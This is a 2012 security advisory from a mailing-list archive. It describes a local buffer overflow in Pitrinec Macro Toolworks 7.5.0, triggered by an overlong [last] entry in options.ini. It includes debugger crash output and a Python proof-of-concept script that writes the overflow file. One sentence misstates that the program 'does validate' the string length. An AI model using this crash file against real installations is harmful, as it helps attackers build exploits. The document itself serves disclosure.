[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Pitrinec MacroToolworks 7.5 - Buffer Overflow Vulnerability

Title:
======
Pitrinec MacroToolworks 7.5 - Buffer Overflow Vulnerability


Date:
=====
2012-03-08


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=466


VL-ID:
=====
466


Introduction:
=============
Macro Toolworks is powerful all-in-one Windows automation macro software. It 
allows user to record macros, 
visually edit macros and playback macros in any Windows application. Each macro 
can be triggered multiple ways 
depending on the user s  needs: by keyboard shortcuts, mouse clicks or other 
events, macro scheduler, hotkey, 
toolbars, etc. Macros recorded in macro recorder (both keyboard recorder and 
mouse recorder) can be manually 
edited and optimized. Macros can simply mimic user by sending Windows keys and 
mouse clicks or they can do even 
more complex repetitive daily tasks such as file backups and other file 
manipulation, fill web forms, e-mail 
writing, chatting, inserting data to database forms, files 
downloading/uploading, file and directory zipping 
and encryption and more ...

(Copy of the Vendor Homepage: http://www.pitrinec.com/toolsworks_de.htm )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow 
vulnerability on Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0. 


Report-Timeline:
================
2012-03-08:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Pitrinec Software
Product: Macro Toolworks Framework Free, Pro & Standard v7.5.0


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A Buffer Overflow vulnerability is detected on Pitrinecs Software Macro 
Toolworks Free/Standard/Pro v7.5.0 Edition (current version). 
The vulnerability is located in the main executeable _prog.exe, which gets 
invoked e.g. by 
the _loader.exe or by StartMacroToolworks.exe. When launching the _prog.exe or 
one executeable 
which invokes the _prog.exe, it automatically reads the contents of the 
options.ini from the 
application directory. It reads the [last] section string to determine which 
files have been 
opened at last by the user. The application does validate the string length of 
the [last] section 
before passing the content to a buffer, which could lead to a local buffer 
overflow.


---  Debugger  ---
# 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The 
memory could not be read -> 42424242 (exc.code c0000005, tid 3128)

# Registers:
# EAX 0120EA00 Stack[000004C8]:0120EA00
# EBX FFFFFFFF 
# ECX 42424242 
# EDX 00000002 
# ESI 007F6348 _prog.exe:007F6348
# EDI 007F6348 _prog.exe:007F6348
# EBP 0120EA0C Stack[000004C8]:0120EA0C
# ESP 0120E9E8 Stack[000004C8]:0120E9E8
# EIP 00646D36 _prog.exe:00646D36
# EFL 00200206

# Stack:
# 0120E9E0  0012DF3C
# 0120E9E4  00000000
# 0120E9E8  0205A5A0  debug045:0205A5A0
# 0120E9EC  1B879EF8
# 0120E9F0  007F6348  _prog.exe:007F6348
# 0120E9F4  007F6348  _prog.exe:007F6348

# Crash:
# _prog.exe:00646D36 ; 
---------------------------------------------------------------------------
# _prog.exe:00646D36 mov     eax, [ecx]
# _prog.exe:00646D38 call    dword ptr [eax+0Ch]
# _prog.exe:00646D3B call    near ptr unk_6750D0
# _prog.exe:00646D40 retn    4
# _prog.exe:00646D40 ; 
---------------------------------------------------------------------------

# Dump:
# 007F6380  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F6390  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F63A0  42 42 42 42 43 43 43 43  43 43 43 43 43 43 43 43  BBBBCCCCCCCCCCCC
# 007F63B0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
# 007F63C0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

Note: Affected are all other products provided by Pitrinec Software which use 
the _prog.exe too.

Picture(s):
                                                   ../1.png


Proof of Concept:
=================
The buffer overflow vulnerability can be exploited by local attackers without 
user inter action. For demonstration or reproduce ...

#!/usr/bin/python
 
# Exploit Title: Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0 
Local Buffer Overflow
# Version:       7.5.0
# Date:          2012-03-04
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.macrotoolworks.com
# Tested on:     Windows XP SP3 Professional German / Windows 7 SP1 Home 
Premium German
# Notes:         Overflow occurs in _prog.exe, vulnerable are all Pitrinec 
applications on the same way.
# Howto:         Copy options.ini to App-Dir --> Launch

# 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The 
memory could not be read -> 42424242 (exc.code c0000005, tid 3128)

# Registers:
# EAX 0120EA00 Stack[000004C8]:0120EA00
# EBX FFFFFFFF 
# ECX 42424242 
# EDX 00000002 
# ESI 007F6348 _prog.exe:007F6348
# EDI 007F6348 _prog.exe:007F6348
# EBP 0120EA0C Stack[000004C8]:0120EA0C
# ESP 0120E9E8 Stack[000004C8]:0120E9E8
# EIP 00646D36 _prog.exe:00646D36
# EFL 00200206

# Stack:
# 0120E9E0  0012DF3C
# 0120E9E4  00000000
# 0120E9E8  0205A5A0  debug045:0205A5A0
# 0120E9EC  1B879EF8
# 0120E9F0  007F6348  _prog.exe:007F6348
# 0120E9F4  007F6348  _prog.exe:007F6348

# Crash:
# _prog.exe:00646D36 ; 
---------------------------------------------------------------------------
# _prog.exe:00646D36 mov     eax, [ecx]
# _prog.exe:00646D38 call    dword ptr [eax+0Ch]
# _prog.exe:00646D3B call    near ptr unk_6750D0
# _prog.exe:00646D40 retn    4
# _prog.exe:00646D40 ; 
---------------------------------------------------------------------------

# Dump:
# 007F6380  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F6390  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F63A0  42 42 42 42 43 43 43 43  43 43 43 43 43 43 43 43  BBBBCCCCCCCCCCCC
# 007F63B0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
# 007F63C0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

file="options.ini"

junk1="\x41" * 744
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="[last]\n"
poc=poc + "file=" + junk1 + boom + junk2 

try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"


Risk:
=====
The security risk of the local buffer overflow vulnerability is estimated as 
high.


Credits:
========
Vulnerability Research Laboratory   -    Julien Ahrens  (MrTuxracer)  


Disclaimer:
===========
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have 
been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, 
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified 
form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 
2012|Vulnerability-Lab

-- 
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx or support@xxxxxxxxxxxxxxxxxxxxx